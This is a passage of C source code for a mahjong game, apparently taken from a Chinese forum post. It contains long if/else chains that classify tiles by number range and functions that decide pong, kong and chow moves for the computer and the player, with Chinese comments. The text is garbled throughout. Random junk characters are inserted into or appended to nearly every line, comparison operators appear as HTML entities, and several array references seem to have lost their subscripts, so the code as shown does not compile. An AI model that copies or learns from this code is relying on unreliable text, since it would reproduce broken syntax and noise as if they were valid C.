4 B7 P% S5 Z! N: C" \else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
4 K  u) E2 u" v9 ]* Blogoo=7;" y1 D( Q5 F9 ~4 k0 F, E
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)5 _  r: t4 e$ w$ P4 }" m: H& `; C) ~
logoo=8;
( c6 _; [6 w6 {- \0 y* @else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
' n8 y' C8 e/ U- slogoo=9;# ]/ u5 G0 L, V0 {
}
! r1 _* X, v3 I# Jelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
) ~8 z3 F& V( ^- k1 ?" s$ Z1 ^{8 A' H# s7 d9 k3 z
logo=3;
' P6 h/ s0 U; X' b  H7 ?if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
6 Q  V( W) o% t- l) q) elogoo=1;
7 D. l( t6 f* C0 }else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
  h, W* X& X- Vlogoo=2;
8 R/ w2 `8 ~1 J1 O8 ~: @else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)  L7 f) ^7 G+ J( a1 b9 k
logoo=3;: i3 n4 C; R7 I; I* {
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
$ m; c+ v) C/ R& W$ j/ Jlogoo=4;* J, y3 k8 U1 p  q' c
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)7 z: L, v( G  L$ h, t3 \
logoo=5;9 r  i/ Y7 Z4 i9 b% c/ v4 e
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
1 M# f" Y6 u9 Q7 @' vlogoo=6;
0 B' {! b! Y+ A2 l3 U4 @else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
) j" r  [+ G( G! wlogoo=7;8 H8 }5 p/ R0 }0 Z4 P
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
/ a8 _% J4 s" u; o% T; `1 dlogoo=8;
1 ^3 A& W0 z6 Yelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)" t% o1 e% [' [. J: m
logoo=9;0 T/ `0 D6 a) e0 \0 ?9 t) n: \, J
}1 q; H3 H# O  N  u8 E& s
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)0 D0 d- ^( `" L; X; P1 @) u
{
  R/ g- d: |$ `  P8 e5 U$ ulogo=4;: r, h; n$ f0 w8 Y3 B  b  ?" C; j
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)* a' c7 j( ?/ h5 l, f; a7 g- I
logoo=1;
2 I% ?# n! o+ |  ]; }$ U# uelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)3 }8 z* T% J7 L  n
logoo=2;0 U- ?4 y. N. e; |, k5 |1 i
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
7 l) g4 o6 P+ ~logoo=3;
. R$ E! m3 n0 Qelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
) T, Z# z4 w  {0 F% u$ N5 G; flogoo=4;6 s- P2 e1 ^+ o. k! O9 p1 ~
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
3 q' H& Q+ _. J: r' Plogoo=5;
, `. |6 W7 t' Nelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128): M  T4 p3 G$ n% Y
logoo=6;
* d: G' H4 k/ e- L5 belse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
1 I: X& t& x% ]1 Glogoo=7;
- L- b6 l& N1 G+ x4 Z* n  j}
+ t; E+ S! J; X: d2 s- I/ awhile(b&lt;=computer.m)
9 P9 y) p+ u, d# o5 ]7 M1 F{7 e* r. X2 X: i9 p$ L: [1 H0 H
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/6 V  V6 Q/ \9 l/ s) K9 ]- U9 T5 x/ Y
{  x9 E1 G; ^) A; H
lg=1;
+ J- F4 X/ i% e% ^, D) Q  Qcomputer.pp.d[0]=1;* ^1 [" z! K( t0 J+ H4 K/ _
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
" o8 E9 @. r$ X6 E' |7 x, X{
0 N" \  d: j+ i& M0 llgg=1;
* ]/ o2 o4 }# P2 ~computer.pp.d[1]=1;
7 y) m9 H. u+ j. F9 U}/ z' c' E! T: M/ m
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
9 V$ S; H9 L+ V3 H3 h  |& y5 d{
& C2 |5 t* l# Z- Ulgg=2;
2 G' t* \( d4 e: r) ecomputer.pp.d[1]=2;/ R: Y6 x$ M1 x" K# N# e6 Q( Q
}
: n$ D, I  ]5 B% a/ Y9 h% D0 k' a9 Felse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8). _  G+ r$ a3 |  `8 P. l
{
" l( P, y  J- \* c: e+ o1 S8 jlgg=3;) B4 x7 @3 ]& r! Y+ l; Z
computer.pp.d[1]=3;. D3 j; s1 \, Q/ |! u
}
" d" A  O) n7 q2 T& qelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
8 C7 A8 S! Y, R* G& i1 m{* M6 i6 k2 Q$ L0 y- j: h, H* E3 l
lgg=4;
5 H: J( y* E" n& b8 |# l: u5 Z) Ocomputer.pp.d[1]=4;( t, |0 T) B3 \& i
}
7 e/ P9 a( V9 n8 ?$ relse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
' R. }; J+ ~' Q4 q$ x{3 A& t* [5 ?5 D0 }; h4 w. U
lgg=5;7 A/ x3 i1 r3 l8 m4 @8 _
computer.pp.d[1]=5;" A. D4 d3 V( B4 C# C1 O
}) t7 l9 Z4 s$ Q' g5 w( v; }; t
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
0 h7 t9 J4 z( M, b# `4 F  ~{9 _1 A, b9 x+ d2 O, \
lgg=6;! \% @, K$ x6 g8 p
computer.pp.d[1]=6;
7 s! B1 ^# l5 v( y1 M}1 H4 F0 y. ~6 T: r! `
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
- h: p; E1 b0 D2 b6 `" ]{
. \1 z) z4 C: T6 ~+ Blgg=7;
( B% M% l$ y. J" d8 ecomputer.pp.d[1]=7;# l' w. |& }5 m7 y; H
}
+ g  h; r( A1 d/ S( A" p6 xelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
6 z' W# a- g' m{' P$ I1 G) g+ R" w
lgg=8;% c. P8 o) P/ e" l5 ]* D: a$ N2 ^* m
computer.pp.d[1]=8;
5 g0 F3 c( f8 }- ^: K- g/ r}8 o% @+ V0 K" R; U  @4 L3 @2 P
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
* u8 q6 _7 Q' o) O1 F, Y# x{
; z* @0 q" Y6 z6 Y8 y% Ulgg=9;
6 L! A) h+ R! b" V4 D+ k9 h/ M$ {1 Pcomputer.pp.d[1]=9;* W9 z5 K; f+ ~2 t1 n1 r. v9 R
}
$ i, D) u9 Y2 D( i; d}
4 }5 y1 e. `! a4 Felse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)* [1 o0 e) {7 Z9 ^
{
, j  U& U! ^9 ?, [% Hlg=2;* G6 T7 I3 O& W) v9 e1 |
computer.pp.d[0]=2;
1 h- Y0 x: ?% @( z: ]. l* @if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)# H9 ]* @" }+ R( n
{
% {. }+ ]/ h: zlgg=1;
! i, h' t, w1 F9 j8 bcomputer.pp.d[1]=1;& A; V! Z3 r& U: D! F, U7 r
}! S; z( v1 I  N$ F
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)/ i- L9 `1 T1 D' v* J9 f8 b8 {. ~
{
9 j3 e6 z* g( c  ^lgg=2;
2 T* k" ]* T2 J5 d9 _) _computer.pp.d[1]=2;
7 j% Y+ U; f! }% H4 m: s}6 {/ q) r3 ]) ?  v, Z
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
, s- U/ I6 M' N: F. G: W{
  r# {3 A5 n0 T0 U/ g; Plgg=3;
0 O2 ^& ~8 N5 V: \, A0 D+ Fcomputer.pp.d[1]=3;
5 E) a, k* V  X& o}! \! p4 l, v" |7 F$ v' S
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
) i1 |+ x& s) \" V: y( p{8 w; i+ J, m- e% {; p! c
lgg=4;' Q$ |. C9 f( O5 Y4 m5 E- ^
computer.pp.d[1]=4;/ K4 j  H$ z' s: I
}1 [0 M4 ]& r. V* o' f
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
7 R) C% L, u" l: ]+ H4 M{& o7 d& t3 O8 o; |4 r2 p+ n9 p
lgg=5;. @( p; G5 _: W# u( D$ x
computer.pp.d[1]=5;
% ]* X" k) ^# a: b# X$ v- e1 i}( h5 c3 [/ C9 f& h
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)( r" W4 K$ r5 U' m7 g% t* R0 ~
{) `4 r$ F* e4 {5 y
lgg=6;
) m% @% v% ?5 Q' z! {computer.pp.d[1]=6;# I/ }; e' R+ \
}
1 o& k7 _5 B7 h& {else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
: `# q1 `/ p# @5 T% a0 ]{
+ C5 c9 E2 b2 x7 m: s9 Nlgg=7;
$ _  b$ l* M% q& ], Mcomputer.pp.d[1]=7;; H  ]# k( E( x9 w  q
}2 z9 W& ^/ n( a) F
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)( |+ L" `- N) ?: ^% `; c) N0 m
{
' u7 F9 |4 c8 n8 R3 V- Rlgg=8;2 B6 c9 E* E3 p4 a/ p7 u2 o
computer.pp.d[1]=8;; T4 ?5 `0 e8 A% f  g
}
: H2 p' G3 n/ R3 f# f5 zelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
9 J' a, y8 _3 k* s{
# R7 K- m* _1 Dlgg=9;1 Z( r. b6 [, Q- R, L
computer.pp.d[1]=9;7 u- [5 |  c/ s5 A8 M3 Z& h0 D
}
$ V6 H" y) Q* q# B}1 C: @! m, W1 Y& @2 J6 d
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
: L; U0 o, _* n5 v. P$ T{5 Q+ h4 l9 ^5 b3 w+ @7 d: N
lg=3;
' [8 i* j% ^" R: W( K$ zcomputer.pp.d[0]=3;, ]0 ~& w* `" \
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
2 D6 `4 |" {5 y# l) H/ R, r; ^, I; Y{
. i/ q8 T$ C$ b+ K. [$ Blgg=1;7 _+ z, {/ C& K3 D4 b9 U
computer.pp.d[1]=1;
  G" r( H9 d  [: t/ g}
9 q9 P% ^& b) ^/ |else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
4 s9 F& F- F7 P+ Y+ D; U{
  D) _' @) \& m& }& Y2 a4 olgg=2;, `# X, w. }8 P6 k. P  h
computer.pp.d[1]=2;+ l! @0 K) _/ @; j, {
}
- M( ?2 N8 W, |* _8 x7 Telse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)9 Y; O$ r8 `8 G  P; D
{- }' [! D* b) V& f0 J
lgg=3;! ]: ~6 F; b; ?
computer.pp.d[1]=3;$ r/ J$ L) \) Y( G% h# X# c
}1 l  a/ w2 ^+ k" k5 ]
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
2 x1 D3 x" p( s9 J  O1 ~{
7 g1 F0 }- ^! u+ s2 Mlgg=4;& o+ w7 z% U0 v( E, G
computer.pp.d[1]=4;
. y. ^2 O  [3 U# I9 X. {4 y) s}# k- W- k* R8 \3 I7 Y! q
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
/ h- U) [$ `" d  R& ]  N1 h4 d{
" A; K/ M& s6 c; s/ v' G3 Nlgg=5;" A8 N! L3 d0 H) N
computer.pp.d[1]=5;
# x  w& A3 k/ D/ R, x}8 K! b3 ~8 G2 ^; d& z9 v
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
8 T& c9 L. G+ v/ R{
- ^6 Q  w3 I. y9 Q7 n/ G) a/ @4 \* Olgg=6;4 F8 y. [7 t9 ~/ Y' T& j5 x9 @
computer.pp.d[1]=6;9 C( }# S$ T) d1 s% T
}% B2 v% L9 {% @# X# P
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
- \. `) @+ \$ y{
/ ?$ B3 v5 w$ @! z6 klgg=7;
* P9 O  d, D$ g4 V# }computer.pp.d[1]=7;
3 Y! r3 `: @. W1 P  A+ j}
& j* |  O, p  k. S2 l* Z9 Oelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)* Y+ e# M( c6 d0 s
{
. w! O& e! y; L1 `# A' ?) {lgg=8;
- W+ X' V) x" r( acomputer.pp.d[1]=8;3 k9 z6 ?# ?" W9 U9 t5 O
}
6 R4 F: o. ]! Aelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)7 r: H( p7 v4 T5 w) I. {
{
! j! L- V8 I, slgg=9;
6 M" Q/ h. c& M2 pcomputer.pp.d[1]=9;# v& H2 E- T7 r/ |
}7 w4 ~$ O# @+ I& k, k
}) O# l, H# q) @8 r: t" \
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
6 a. P* g2 E2 s: O" ^3 `! _{
) n8 z# o' ^/ C% i2 ulg=4;  `, S) ]- b1 i4 _3 K; ^
computer.pp.d[0]=4;6 ]" C9 G1 m# b' {& S& k* X* F
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
  m* t1 p+ P- `+ {; G& {& l- N* }{
- U6 G$ N# \3 b3 xlgg=1;% p, ?5 ?4 _; p- `' a
computer.pp.d[1]=1;
0 w. e+ H9 t8 `( z}
  a1 I+ y( O- V" \$ U. Pelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)( f3 \+ I# x% j# z
{' @2 j. x7 d) ^( o9 ?
lgg=2;6 d$ Q6 T: S( X& q4 ~" q/ |. ~
computer.pp.d[1]=2;
0 j' w7 t* i( m. k9 ?}! F/ L2 ~8 t! l5 q1 }8 Y) V6 [
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
3 a. K' Z7 F8 J; a{3 w% x" Z8 p* r( w" a5 S
lgg=3;# _% y( F" }* O  v' m  M
computer.pp.d[1]=3;
; E+ Y9 i4 W" _6 S$ i}
* L; [) T9 _. V$ [4 y4 k% velse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
; I6 V' `, {; N# n+ h. Z{& {5 K/ l. x2 y: v# ~2 }2 Z1 ]/ E
lgg=4;1 _' M( x0 t# y* w
computer.pp.d[1]=4;. A5 I  a8 v3 p4 T
}7 p4 b. C! u& e
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
/ x0 y- l, r* [! F{/ @# e! X, T( \3 M9 q
lgg=5;
+ G6 X, U+ ^9 ~! X' @3 M# scomputer.pp.d[1]=5;* D. B& H4 [2 T( u: J' {' W& k3 `
}% H; u& Q  [+ ~) Q% P
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
8 t" o. H* |& m{
1 G, q3 @! T6 `. s, m# ]; w' Ilgg=6;
) H4 v" |0 |" ?/ U6 e- `) U3 Lcomputer.pp.d[1]=6;
+ |  W; t0 E% \. B}
# r6 ]/ e/ \7 Z( X# b2 oelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
- v& ]3 _  V) P& [( [  r{( i6 i* G' L" M
lgg=7;
; @$ C! e/ q/ E5 ncomputer.pp.d[1]=7;1 G- ]  k5 P. Z
}) ~, @- a' z* F2 g2 c& F0 p  m
}! W4 y) }( z) m& C# [  s
  {6 {4 l; u7 W* U* N1 k
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/, T  U! Z' h) ]. W
if(logoo==lgg)
( d7 K$ \. r4 @8 lpg++;( y& V- i3 |2 x" W/ I' F
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
6 V! ?0 H) e5 `" }7 `% ach.lgg=lgg;
' d& Z& d, L3 C8 E% Olg=0;
& [7 c$ P9 ~# \+ clgg=0;; [; C% E; N5 @( K# A
b++;/ I/ t1 S3 G, i
}# u5 H$ Y. G5 G5 s6 o
if(pg==2) /*乓*/
6 Y" T4 J: b* [9 @, `& B3 F" J9 s0 M{$ R3 n' t' [; Q) S( d) f0 @5 `' V

8 L1 B. @8 x3 W3 e3 |1 hsing=1;& `5 {! N9 N( E: s/ R
b=computer.m;
$ ^0 C* q$ b1 |, t: b- Z# {while(b!=-1)2 a' r& Z7 T. P8 @7 s: C$ k6 x
{
5 w) i" Z; A/ |( q  S( w; f0 iif(strcmp(me.pp[c].k,computer.pp.k)==0)
4 s% X$ `$ W# X! p+ u5 |computer.pp.p=1;
8 `9 n0 C: f9 E7 T/ v8 u
7 y- {) E: J5 N$ U6 qb--;' L8 f( I7 H, b# V3 a1 `( J
}
7 K" a; W! i! B* j3 _2 b7 V}; z0 f2 {- ?9 E1 E
if(pg==3) /*杠*/
' s1 W0 W- H7 l9 t6 E% M/ k{
! \% l" k; K; l1 a9 J5 \4 J- e# _
( e8 J* |4 x+ h3 Using=2;
2 D9 j9 j/ e/ V2 Rb=computer.m;
7 g! t3 g- i3 F; Q  C5 Nwhile(b!=-1)
( O# s, b- N! z* N& I{- j' O. ~' H9 e$ @6 L* V
if(strcmp(me.pp[c].k,computer.pp.k)==0)& g, a4 P; \% i) @4 p; g5 L
computer.pp.g=1;
5 D0 i: \. j& Wb--;  H% L; U/ ?$ A+ P4 Z
}" a$ Q& S. `: ]0 c3 h9 X
}
) [" i: }3 `6 Pf=0;
% X" w0 e/ E$ X( pwhile(f&lt;computer.m) /*吃的判断*/
+ X8 H& g7 W- Z) e# Z: s1 b{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
8 d1 ]1 I; R$ v{, L& U) S/ N8 ^. k4 G* r7 D
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/5 }) o8 {" x) \- r- _6 C: Q
if(ch[f].lgg-logoo==1)% x7 E0 x0 S+ `4 t! V* e! j! \
{
! d3 E2 g+ @( _0 I5 x- Lgp++;* F$ Z, {3 {3 p( N  {' z; J& K1 I
computer.pp[f].c=1;' U* ?- V4 E- ~5 y
computer.pp[f+1].c=1;
+ |* K% v5 j4 Y}+ K% \" q7 w- Z+ T, S- L
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
' W" ^. R6 w* X6 M: |" y* Zif(ch[f+1].lgg-logoo==-1)) j$ ?5 @/ t+ q, D, z6 l
{
+ Y1 S* ?& l/ ~9 U! U5 q) `& u& ?) Cgp++;( s- C- V* ?3 u: {$ l
computer.pp[f].c=1;0 |. v- C* ^, q7 ~! ^( ], n% M
computer.pp[f+1].c=1;* e) o5 x! E3 E/ |* l( }
}, T2 j! m% I/ F
if(ch[f].lgg-logoo==-1) /*中吃*/3 i. q' N5 N( f# f
if(ch[f+1].lgg-logoo==1)' D2 ?; t! Z7 `# ]
{0 k' ?! a, o+ E" [7 B0 e* [3 C& l1 T
gp++;+ y6 a7 w- Q  ~: ]1 w
computer.pp[f].c=1;
/ h2 j6 o  K1 ^0 ?computer.pp[f+1].c=1;8 i7 D9 v+ v/ H0 G
}
* v1 u+ I. `! O( H: I1 gif(gp==1)9 F; w- w, h: @
break;
7 ?: _/ I# h: L4 @9 G" F! @}- U8 S1 s, w" w' D6 v5 d9 o
f++;' ~+ A( W' c4 [! A' h
}) x) C: x9 P0 m; U* c! X/ o' A
if(gp==1)
: X5 v6 X  m( ?8 z{sing=7;
8 l( z, G9 k8 ]# ~% [1 X' X6 w& _5 X; n- v
}
8 R# B8 P5 C) h/ |8 U6 V9 P: zpg=0;* ~6 y4 e! ^1 w) ~4 G- j8 ~- s
gp=0;6 J( m" z( l' e5 `9 ?
b=0;
( ]/ I: l1 m# R}
5 B+ {' `7 M' y) P+ hvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/0 a$ g/ m+ p; Z
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
3 C5 q' x3 m/ M2 t& b- e  eif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
3 ~3 F) \( l. d{# [  b# M' C6 Q
logo=1;* [  ^8 v: q1 u* b/ V1 {
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)( F0 ]- J/ R% u4 a  b
logoo=1;
! t+ r2 O5 r, e2 j2 a+ j4 qelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)1 u* ^! x) m# j9 e. I' w, S
logoo=2;
6 P9 O# b/ w$ x/ i. v' ]1 |else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
) i4 p1 J1 W$ b$ \5 _logoo=3;9 H7 w- p& \0 l9 D+ m0 u6 M
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)+ r0 H, Z& v3 d1 ^1 [
logoo=4;3 s, r+ m6 c* }" a+ Q
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)2 X, @2 |# c; P' o9 c* {) k
logoo=5;. d! A  g- V! d% B8 w8 X
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
0 _# j. F) ~$ P2 ]logoo=6;, _' R2 [( ^( s. I. X
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
+ \6 m' ?/ N1 j5 Ilogoo=7;1 n  G8 A' h- [% Q9 B5 D$ b
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
( B1 C! A9 T2 r: a! J! r7 slogoo=8;9 I$ P+ ?/ [- y/ v. V3 B
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)7 Q1 D- G" F3 F7 R, X, v
logoo=9;8 ~: Z# r' ~4 l4 |2 t
}
1 ]6 v/ n3 p" K  e; u& u4 helse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
) q( l8 u* E) B/ T{- h8 e4 ~( g7 r+ [, T3 I6 `9 J2 s, m
logo=2;7 ^$ N0 }  e+ Q/ S
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
! h9 T7 e: a2 o4 O( T1 Z3 |0 s1 Glogoo=1;, r* r3 i5 K; F/ ]6 \! _8 z5 b
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40); `* r* a* p6 w; T" j) m& e, |3 h" O
logoo=2;0 z1 O  f! t( w; c' N8 Y5 x% F- w
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
1 r" }; D9 Q6 A  `4 G$ c9 ?logoo=3;
( d# C" m. v! Y% J7 ?7 @else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
8 \& ?4 B. _/ Ylogoo=4;
& g9 ]- I7 D: O3 `1 Y9 lelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)9 B" b# B- F+ i
logoo=5;
  C" I) V, u, `0 lelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
5 B7 R" i: h5 Ologoo=6;( |5 e! V3 S' B
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
5 d0 D  u6 m% f" v  N% T; l* vlogoo=7;4 M' T/ T: E9 s1 i2 N3 B6 M6 s9 U
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)8 O) n# b' W" U& X4 G' J
logoo=8;# p- j- D" ~1 Z8 d2 h* A
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
8 J) ^1 ]( a+ ?& d3 W: ]) k; U; Qlogoo=9;$ h, n+ K4 L& m4 }
}
) }  f6 m+ K7 Q, Lelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
, m' Y  A1 D" R/ F9 ]{( Y; P" v3 U) r$ [4 O
logo=3;
5 X" j6 d: o9 n6 N& i# y; fif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)) D: M  w' l; \9 `0 X2 s
logoo=1;
3 [5 c& V3 n/ ~& T" uelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
9 }/ `' `+ U* p1 F; l5 ]) m3 [+ ilogoo=2;
  A- C0 ^3 H/ r3 u+ S, H0 selse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
2 a6 t% z% G& B0 ?8 j/ {9 ilogoo=3;! m% z9 u3 s. |' a( E
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84): Z% g4 B+ w9 w7 o
logoo=4;
3 r( B/ q( J/ H; |1 R! P& Lelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)  s3 N1 D; T5 E# M
logoo=5;
( I, o, R3 j# r! \2 N8 yelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
4 H2 X! A9 h6 B4 ^6 x: e( F+ rlogoo=6;
* n; t" _7 c9 P2 velse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
: o( S/ t/ a! s" ~5 t7 I' [logoo=7;1 Z( N3 v) }2 a$ q
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)! a! z! |0 I- Y
logoo=8;; F+ j# x' T& w' o6 F# A
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
9 `! \9 V5 R; D% ^logoo=9;9 P$ H6 M+ w! P
}& y" o) f* t8 B: F& w, x; E' I4 N) F2 C
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
% M9 w$ y+ o: Y" z. }{4 d, ?; S$ ]/ M* M; h& h7 W
logo=4;
- w5 N$ g, {9 s' ~if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
; }$ t5 X' L0 @5 j3 e3 A- Flogoo=1;+ B4 ]* ]. y. ^; X
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
5 m1 O7 _, x, I" a4 B; Q1 n* s8 klogoo=2;
) Q! T9 o% `. ?; f( e- e: ^( Jelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
+ I* D" p: ~& Vlogoo=3;; W# I7 J2 G3 I9 ?2 `7 G' c  A
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
/ s5 H! w# C$ u1 d7 L) e" @logoo=4;0 T) J& u3 q& F1 U" e, j0 b
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)8 ~5 x* S& H9 B9 ?* d: L
logoo=5;& t" w3 U% k- S* o8 S' C/ O
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)! m+ M& j( `% y) a% T$ j
logoo=6;
" A7 t- G/ o* h" M; R$ celse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
; @" e% a: o2 A- I: clogoo=7;! `: o' n2 _! B  C) `
}
% {: t! }" n( H3 q# a. T- [while(b&lt;=me.m)0 o& W: c, ~& q8 O! ]! j, t+ Q# B2 L
{4 u' Z& |1 ~1 x/ V  J& M2 n6 u
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
! H0 V' a4 ?# k  p4 u{& b4 b, Y* ~$ j7 P! k& F5 z( P& c
lg=1;
6 X# H, P4 x1 m. h0 a* c' }% `8 qme.pp.d[0]=1;
" c- U9 ]( J+ M) Kif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
2 r" ~+ |# |5 w5 I. L0 ^{
5 I  ~* ]: o. q5 Llgg=1;
8 M/ c! l- Y6 y& ]$ S( f/ q! yme.pp.d[1]=1;; i  p; n* ?9 A0 n
}
* Y0 o& A  i6 Celse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
1 T& j- Q7 [- c% S{
) F/ t0 f5 t: S  Dlgg=2;, n& C( X+ K. Q$ H7 _3 \; u0 O
me.pp.d[1]=2;- H1 I8 Q- t" X% B
}5 N3 }5 v) U' k6 z6 S, ?3 d$ E' W1 I
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8): ?8 }; |1 b$ H
{, i4 u# |% E# m: J+ q4 ^% R
lgg=3;$ N' X0 _/ e' h
me.pp.d[1]=3;& D6 D9 H: ^. P, d' u
